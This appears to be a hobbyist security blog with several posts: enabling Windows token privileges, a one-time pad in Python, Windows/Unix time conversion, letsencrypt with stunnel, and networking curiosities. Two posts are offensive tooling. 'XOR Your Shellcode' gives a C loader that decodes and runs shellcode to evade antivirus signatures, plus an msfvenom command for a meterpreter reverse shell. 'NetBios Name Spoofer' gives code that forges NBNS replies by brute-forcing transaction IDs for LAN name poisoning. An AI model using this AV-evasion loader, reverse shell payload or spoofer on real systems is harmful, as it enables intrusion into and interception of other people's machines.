Pages

Tuesday, April 12, 2016

Enable Your Privs

So awhile ago I was playing around with tokens and such, It was allot of fun but one of the things that tripped me up pretty bad was a efficient way to enable all the privileges that I had access to. Over the last week or so it was one of the things I took a look at so I'm going to explain it as best I can. I hope that it will make at least a little more sense than Microsoft's horrible examples.... Honestly Microsoft you need to have someone review all your shit once a year as some of it wont even compile, also the usability of your msdn site is simply horrendous.

Ok so making this painless as possible lets start off with getting the current process token. We pass it the Handle to the current process, which is exactly what GetCurrentProccess() returns. Then our desired access, and finally a Pointer to our Handle which is how we get our token out of the command.

HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)

I wanted to simply enable all of the privs I had access to, I didn't want just one so what I did was made a Array and then looped through each. There are 5 that a normal user usually has access to, I'll add in a 6th just so you can see.

// We define our array...
const char* All_Privs[] = {
    "SeShutdownPrivilege",
    "SeChangeNotifyPrivilege",
    "SeUndockPrivilege",
    "SeIncreaseWorkingSetPrivilege",
    "SeTimeZonePrivilege",
    "SeImpersonatePrivilege"
};

// And then get the size..
const int Num_Privs = sizeof(All_Privs);

Before we can loop through all of them we have to set up a few variables first.

LUID luid;
TOKEN_PRIVILEGES Token_Privs;
BOOL Error_Check;

Here we start our for loop, we have to lookup each privileged to get the luid for it.We then set that luid and the Enable flag for it which is actually just 2, in the Token_Privs structure. After that we simply call AdjustTokenPrivileges with a pointer to the struct, check for errors and continue the loop.

for (int i = 0; i < Num_Privs; i++)
{
    LookupPrivilegeValue(NULL, All_Privs[i], &luid);
    Token_Privs.PrivilegeCount = 1;
    Token_Privs.Privileges[0].Luid = luid;
    Token_Privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 2 = enable
    Error_Check = AdjustTokenPrivileges(
            hToken, // our token
            FALSE,
            &Token_Privs, // pointer to our privs structure
            NULL,
            NULL,
            NULL
            );

   // Now for the error checking..
    if (Error_Check && GetLastError() != ERROR_SUCCESS)
    {
        printf("[*] %s is NOT enabled!... Error: %d\n", All_Privs[i], GetLastError()); // 1300 = not assigned
    }
    else
    {
        printf("[!] %s is now enabled!\n", All_Privs[i]);
    }
}

So that's fairly simple, and totally accomplishes what you need it to do. But it just didn't look very good to me, so I did a little bit of digging and found a somewhat better approach.

What we do is get the token information from the token, this contains a list of all the privileges it has enabled and disabled alike. We loop through each one and since its a pointer we set the enable flag for each one that's disabled. Then at the very end we pass that into AdjustTokenPrivledges and thats it. We can then go shut down the computer or impersonate whoever we want... as long as your Token allows it.

void EnableAllPrivs(HANDLE hToken)
{   
    // Once to get the size
    DWORD dwGetSize = 0;
    GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &dwGetSize); //

    DWORD dwRetLen = 0;
    LPBYTE lpTokenInfo = new BYTE[dwGetSize];
    DWORD dwTokeInfoLen = dwGetSize;
    // Again to get the info
    if (!GetTokenInformation(hToken, TokenPrivileges, lpTokenInfo, dwTokeInfoLen, &dwRetLen))
    {
        printf("There was a error with GetTokenInformation %d\n", GetLastError());
    }

    PTOKEN_PRIVILEGES ptHeldPrivs = reinterpret_cast<PTOKEN_PRIVILEGES>(lpTokenInfo);
    wprintf(L"We have %d enabled!\n", ptHeldPrivs->PrivilegeCount);
    // here is how we get what is actually enabled
    for (int i = 0; i < ptHeldPrivs->PrivilegeCount; i++)
    {
        PLUID_AND_ATTRIBUTES plAtt = &ptHeldPrivs->Privileges[i];
        wchar_t szName[256] = { 0 };
        DWORD dwName = 256;
        LookupPrivilegeNameW(NULL, &plAtt->Luid, szName, &dwName);
        wprintf(L"The privledge %s has the attributes :%ld\n", szName, plAtt->Attributes);
        if (plAtt->Attributes == 0) // 0 = none // 1 default // 2 enable // (3) enabledbydefault // 4 removed
        {
            plAtt->Attributes = SE_PRIVILEGE_ENABLED; // 2
        }
    }
    // now we enable the privs
    AdjustTokenPrivileges(hToken, FALSE, ptHeldPrivs, 0, NULL, NULL);
}

A quick note... the above function "should" be in unicode, and if there are errors with Anything please let me know.

Taking it a little bit further lets take a quick look at what the TOKEN_PRIVILEGES structure looks like. First off the PTOKEN_PRIVILEGES is simply a pointer to to the structure stored in memory. Furthermore its actually just a dword/int32 that defines the length/amount of privs followed by a array of the LUID_AND_ATTRIBUTE struct, which is actually just a LUID struct and a dword/int32 that defines the Attributes/privs that are enabled/disabled. Finally the LUID struct is just 2 dwords/int32. lol did we get all that?

Its actually super simple honestly once you see it in memory...

PrivilegeCount
LUID.lowpart ~~ LUID.highpart ~~ Attributes


As you can see in the above picture the "SeChangeNotifyPrivilege" is set to enabled and it is default enabled as defined by the 3. All of the rest are disabled at the moment.

Anyways what we can actually do if we really wanted to is write out or own bytes convert it to a pointer and then pass it to AdjustTokenPrivileges. I recently just did this so I didn't have to mess with csharps pinvoke structures and it works with no issues.

Anyways that's all for now...

Monday, March 21, 2016

XOR Your Shellcode.

So the other day I was messing about and stumbled across this link Bypassing AV with 10 lines The author does a really good job and I suggest reading it. Basically to sum it up If you generate shellcode you can XOR it with a random key and then compile and you wont get flagged. That's not to say the heuristics wont pick you up, but the signatures sure wont! Anyways the compile code looks something like this.

 #include <windows.h>
#include <iostream>
int main(int argc, char **argv) {char b[] = {0x34,0xa8,0x47 --SNIP--};
 char c[sizeof b];
 for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^  0x89 ;}
 void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, c, sizeof c);
 ((void(*)())exec)();
}


It works great, and all we have to do is xor our code, format it properly and put it in there. If you read my last post youll realize that xor'ing is super super simple. But I decided to whip up a little script so I could do it on the fly.

You can find it here https://github.com/trump0dump/helpful/blob/master/xor_shellcode.py its really very simple.

You start by generating your shellcode with something like so.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f hex > shell_code

That will output into a file formatted like this.

bd21ce1d21ddc2d9 --SNIP-- 59b7683

We then read that file, xor each byte format it and output it into our file to be compiled.

Simple, Sweet, and Easy.

Sunday, March 13, 2016

Grow your own crypto...

I missed posting last week but I had some personal stuff I had to take care of. Ive been doing a bunch of stuff with csharp and crypto lately. Its funny because I don't actually like messing with crypto but sometimes when you know you have a good idea you gotta run with it!

Before I continue I just want to say a quick little something as I'm pretty sure this post is going to put me on yet another list. There is a major difference between having someone with a ts watching everything you do and some jerk-off in your local police department doing it, or for that matter the fbi, and yes I know and understand not all of you/them are the same :) I think this is the reason the fbi v apple case bothers so many of us tech people.

So with that out of the way lets discuss one time pads.. I actually had this idea years ago and what I wanted to do was disconnect a computer and print out 2 copy's of say 20 pages, I could then hand one copy off to whoever I wanted and call them up, I could say anything I wanted and as long as I burned the page afterwards no one would ever be able to figure it out. But what is a onetime pad you are asking... well its really very very simple.

A || a = 192 | b = 100 | c = 32   | d = 10  | etc..
B || a = 120 | b = 36   | c = 255 | d = 95  | etc..
C || a = 3     | b = 1     | c = 33   | d = 7    | etc..
etc..

Now you fill up a entire sheet and as long as you don't use the same thing twice its unbreakable, otherwise you become vulnerable to statistical analysis. So I simply call my mom tell her to go to page 37 and then say b-36, c-3,a-10,c-7,a-192,b-95 and she reads off "BadDad" if we are both careful to burn the page afterwards there is no possible way for the message to be broken... this is what spies use. (btw these numbers don't mean anything sorry lol)

Lets say I wanted to do the same thing but digitally, something that would enable me to write out a pad to a disk give it to my buddy at the next Con we go to and then send them any new script or 0day remotely via whatever means. This is actually a very simple thing to do and its so simple that its utterly scary when you think about it. There is no possible way to backdoor it, and no possible way to break it other than the rubber hose attack. Especially if I have good opsec when generating, storing and transferring the pad. This btw is how most crypto is broken or defeated!!

The one issue and really the only issue that we are going to have is generating truly random numbers, I don't want to get sidetracked but this is honestly allot bigger issue than anyone realizes. If you want a example take a look at the global consciousness project and then.. zomg.. the matrix is real!

 Anyways to make a basic pad all we need to do is this.

from Crypto import Random
rndfile = Random.new()
key = rndfile.read(8092)

This will generate a 8092byte key and as long as our msg is under that we are good to go, but how do you actually encrypt it you might ask. The answer to that is super simple, we just XOR it.

unbreakable = ""
for i in range(len(msg)):
    unbreakable += chr(ord(msg[i]) ^ ord(key[i]))

To get the msg back out we simply reverse it for instance.

decrypted = ""
for i in range(len(unbreakable)):
    decrypted += chr(ord(unbreakable[i]) ^ ord(key[i]))


So in reality "unbreakable" crypto is possible in as little as 6 lines of code... This is your o-shit moment.

The code I have uses that same thing but I also thought maybe I would want to send more than one msg, or maybe my friend would want to send something back. So what we do is generate a bunch of pads, all at ever increasing sizes "because im not sure how big the msg might be". That can be accomplished like so.

count = 100
padsize = 1024
out_bytes = ""
for i in range(count):
    out_bytes += rndfile.read(padsize * i)

I can then tell him to use pad number 37 and as long as my msg is under 37888bytes long he simply xor's what I sent him and gets the decrypted content (37 * 1024 = 37888).

Anyways I think that's enough from me for now, and I have more important things to play with so you can find the code here. https://github.com/trump0dump/helpful/blob/master/one_time_pad.py

tl;dr
xor is unbreakable when using truly random numbers

And this is it in action...


Monday, February 29, 2016

Windows Time in py!


The unix epoch is 1, January, 1970 apparently that's when all linux/unix computers were born. Windows however likes to think it's a lot older as its "born on date" is 1, January, 1601 it can be a little confusing having to switch between the 2. So I wrote a little script to aid in the process. Its fairly simple but ill go over it.

On linux the time is stored in seconds from midnight, so if for instance I had the number 1337133700 I could input that in python using time.ctime(1337133700) and I would get back 'Tue May 15 22:01:40 2012' .. which must have been one hell of a day.

Anyways on windows its a little different as linux uses a 32bit value and here we use a 64bit value, and rather than seconds its calculated using milliseconds since Jan,1,1601. To convert back and forth is actually really simple. We just take our unix time "1337133700" and add "11644473600" which is the "magic" number of milliseconds between 1601 and 1970. Then we simply multiply by 10000000.. so

(1337133700 + 11644473600) = 12981607300
(12981607300 * 10000000) = 129816073000000000

129816073000000000 = milliseconds since 1601

And that's really it, now most of the time you are not going to see that, however what you are going to see is a hex representation so to convert it simply use.

struct.pack("q", 129816073000000000)
and you will get \x00\x1a\x4d\xd5\x07\x33\xcd\x01

Now you might see something a little different if doing this in the shell but that's just python trying to convert hex into ascii for you... Anyways these are the 2 functions.

import time
import struct
def epoch_to_ms(ct = time.time()):
    print("Input time since Epoch is: %s" % time.ctime(ct))
    ms = (ct + 11644473600) * 10000000
    print("Seconds since Jan, 1 1970: %f" % ct)
    print("Millsec since Jan, 1 1601: %f" % ms)
    pms = struct.pack("q", ms)
    print("Little Endian Hex Value  : %s" % '\\x' + '\\x'.join(x.encode('hex') for x in str(pms)))

def hexms_to_unix(ms_time):
    ms = struct.unpack("q", ms_time)[0]
    ct = (ms / 10000000) - 11644473600
    print("Millsec since Jan, 1 1601: %f" % ms)
    print("Seconds since Jan, 1 1970: %f" % ct)
    print("Input time since Epoch is: %s" % time.ctime(ct))


They both work as you can see here.



Now you might ask yourself, where am I ever going to see that.. well its simple really... ;)




A quick 2 things off subject...
1: I am working on getting another blog setup as blogger really bothers me.
2: The color always helps me, if you don't like it I'm sorry. 

Sunday, February 21, 2016

Fun with letsencrypt

So if you haven't heard there is this awesome new thing called letsencrypt. It allows you to make valid signed certificates for pretty much any domain you have. Including dyndns and even afraid.org. So here is a very simple and 100% FREE way to get it up and running with python. First go over to afraid and grab yourself a domain, personally I always liked chickenkiller.com but it doesn't matter there are hundreds to choose from.

I say do this first because its going to take awile for it to propagate with your IP. Mine took atleast a few hours, and if I remember correctly the e-mail took a few hours also... but hey its free ;)

Also quickly while we are on the subject of free stuff grab yourself a free amazon account for a year, you'll need a valid phone number but that's a non issue really.

Now after you sign up for afraid.org and get a domain go to the "Dynamic DNS" menu and at the bottom you will find a wget/curl/direct url script that has your personal url inside. Simply hit this url on whatever box you like and bang you just updated your domain to that ip. "This is why I love afraid fyi" Anyways so now all you need is letsencrypt, I did mine on amazon simply so I didn't have to deal with port forwarding on my router.

Grab a copy from github and read it over, its pretty simple really and after running it the first time to make sure I had all the needed packages I basically just used this command and followed the prompts.

./letsencrypt-auto --no-self-upgrade --register-unsafely-without-email certonly

Now your pem files are stored here /etc/letsencrypt/archive/fancydomain.whatever.com

That's really it your pretty much all set, you can load them into Apache, or Nginx or whatever else you like, however if you are going to do that they have some pretty good self installers so you might want to choose that road.

Anyways, like I said I did mine on my amazon, so I needed to get ssh to forward properly if I wanted to run python locally, thats relatively simple but remember to set GatewayPorts clientspecified in the /etc/sshd_config we will want a reverse forward so ssh -R :8080:127.0.0.1:8080 your_ssh_server

Now as long as you have the firewall configured with amazon or whatever your host might be, and you downloaded your keys from the /etc/letsencrypt/archive/ folder you should be good to go.

For python both of these work :)


import socket, ssl

context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.options = ssl.PROTOCOL_SSLv23
context.load_cert_chain(certfile="/pentest/cert.pem", keyfile="/pentest/privkey.pem")

bindsock = socket.socket()
bindsock.bind(('0.0.0.0', 8080))
bindsock.listen(5)
cnsock, fromaddr = bindsock.accept()
sl = context.wrap_socket(cnsock, server_side=True)
sl.recv(1024)


This one is a little bit less painless.. but remember to move your cert files out of the directory your using as lol

import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8080), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="/pentest/cert.pem", keyfile="/pentest/privkey.pem", server_side=True)
httpd.serve_forever()



One last thing and regretfully I didn't take screencaps but it does work. Inside your /etc/letsencrypt/archive/yoursite.com there are 4 files.

cert.pem  chain.pem  fullchain.pem  privkey.pem

If you do something like so...

cat cert.pem privkey.pem > both.pem

You can now use the both.pem with metasploit... you can then update your ip on afraid.org to whatever you like... even if its a internal ip! This will also work with stunnel if you do something like so...

echo '[lets_encrypt]
accept = 443
connect = 127.0.0.1:80
cert = /pentest/both.pem
' > /etc/stunnel/stunnel.conf

stunnel4 /etc/stunnel/stunnel.conf

Whats so nice about this is stunnel will allow you to use your cert with almost ANYTHING regardless if it uses ssl or not. For instance above I showed you how to use python with ssl support, but if I wanted to I could use stunnel and never have to worry about getting ssl working.

Anyways Enjoy!

4 Pretty Amazing Random Things

So every now and then you come across something that's extremely novel and basic yet changes your very understanding and or thought process on a given subject. I have apparently hit a stroke of good luck this last week, as I came across 2 of them by pure chance. The last one I hinted at a few posts ago and I want to go over it again. I promise you they're not very well known so pay attention and I bet you'll learn something. A fair warning first tho, while each is pretty nifty, I have yet to find them "exploitable" except for maybe the last one... Lets get right down to it.


1: Navigating in linux and windows using the command line. Apparently I wasn't privileged enough to be part of the "in crowd" when everyone was explaining ease of navigation.

pushd: Will store a Directory

popd: Will pop you to the stored Directory

It works in both linux and windows, Ive used it more than once and trust me it does save some time!


2: The second one is somewhat known but still nifty, anytime you put a link in a page that doesn't have a tld at the end, or even if it does and windows cant find it. You're going to be sending out broadcast llmnr and nbns requests to your network looking for it. The really interesting part of this is that since browsers preload dns for "I think" all the links on a page, your going to hitting it no matter what, test it out like so...

<img alt="wow" src="http://wut.">

The way I found this out, is actually via misconfigured javascript on a site and I'm running noscript so think about that...


3: Probably the most interesting, and I already mentioned it before. NetBios 139 does NOT bind to 0.0.0.0. lets take a closer look.


As you can see it binds to your actual IP address, yet does NOT bind to localhost so we can in fact do this...


In addition to that you can see that its running as pid 4 "system", what makes it even more odd is that udp 137 and udp 138 also have the same behavior.


4: If I was to ping google.com the IP would resolve to... 216.58.216.238, and if I went to http://216.58.216.238 I would get a google page, well depending if they change the dns but this address is also the same google page http://3627735278 ... ya now that is interesting. It works in FF, IE, and from the cmdline. The funny part is this is how its expected to work for instance try this.




Anyways if I wanted to go to 127.0.0.1, it would be this 2130706433 I wrote a little script just to mess around with it and you can find it here.

https://github.com/trump0dump/ip_num



So what are the implications of this, well the first thing I tried was hitting a smb path and sadly it doesn't appear to work but my next immediate thought was in any sort of xss that filters for ....

So there you have it 4 randomly cool things, and I bet you learned something :)

Sunday, February 14, 2016

NetBios Name Spoofer...

So since Potato recently got a update I decided to put this together. Now you don't need to mess with Responder if you don't want to.. altho you should since its badass! The funny part about this is I actually threw it together in about 20min. Something must be working because I'm improving a lot more recently.

Ill give a little explanation but the code is very very readable and I left plenty of comments in there so you can see whats going on.

This is the insane way of encoding the NetBios name.. So if i was to use WPAD as the example it will look like this
'FHFAEBEECACACACACACACACACACACAAA'

 And if I was to use DISABLEWPADNOW it would look like this.
'EEEJFDEBECEMEFFHFAEBEEEOEPFHCAAA'

def make_nbname(name):
        spoof_name = name.upper()
        encoded_name = ''.join([chr((ord(c)>>4) + ord('A'))
            + chr((ord(c)&0xF) + ord('A')) for c in spoof_name])
        padding = "CA"*(15-len(spoof_name))
        return '\x20' + encoded_name + padding + role[0] 

The '\x20' above ^ is the start of a answer reply, and the role is from this... You can use any one of these, I have not tried them all but I really should.

role = {
        0:"\x41\x41\x00", # :"Workstation/Redirector" # normal
        1:"\x42\x4c\x00", # :"Domain Master Browser"
        2:"\x42\x4d\x00", # :"Domain Controller"
        3:"\x42\x4e\x00", # :"Local Master Browser"
        4:"\x42\x4f\x00", # :"Browser Election"
        5:"\x43\x41\x00", # :"File Server"
        6:"\x41\x42\x00"  # :"Browser"
    }

Here is how we make our packet, I ripped most of it from metasploit..

def make_packet(name, return_ip):
        pkt = '\x00\x00'      # TID better to do it on the fly than call the method over and over
        pkt += "\x85\x00"  # Flags = response + authoritative + recursion desired
        pkt +="\x00\x00"   # Questions = 0
        pkt +="\x00\x01"   # Answer RRs = 1
        pkt +="\x00\x00"   # Authority RRs = 0
        pkt +="\x00\x00"   # Additional RRs = 0
        pkt += make_nbname(name) # original query name
        pkt +="\x00\x20"   # Type = NB ...whatever that means
        pkt +="\x00\x01"   # Class = IN
        pkt += struct.pack('>I', sec) # \x00\x00\x00\xff = 4min 15sec
        pkt +="\x00\x06"   # Datalength = 6
        pkt +="\x00\x00"   # Flags B-node, unique
        pkt += socket.inet_aton(return_ip) # 32bit packed binary, ipv6 uses socket.inet_pton()
        return pkt

The one thing to really pay attention to is the struct part, that is how we encode the (Time To Live) its 4 bytes long and represented in seconds so that 60 seconds will be,  '\x00\x00\x00\x3c' or say 10Minutes will be 10 * 60 = 600Seconds, and 600 in hex is '0x0258' so it would look like this '\x00\x00\x02\x58' .. anyways none of that should matter just define sec = 60 and your good to go. Its defaulted to 255 fyi which is 4min 15seconds :)

The very last part is how the whole thing works, so whenever your computer makes a NBNS request, there is a 2byte TransactionID associated with it. This I guess was supposed to prevent this very thing from happening, or maybe it was designed as a check I'm not sure. Regardless, since its 2bytes there are only 65,535 possible numbers and we simply loop through all of them. On a modern lan this is not a issue, and turns out to roughly 4.4Mbytes of data.

And there you have it, its actually rather easy. I would recommend using Responder for now but if anyone ever needs it this is how its done :)

The code can be found here https://github.com/trump0dump/netbios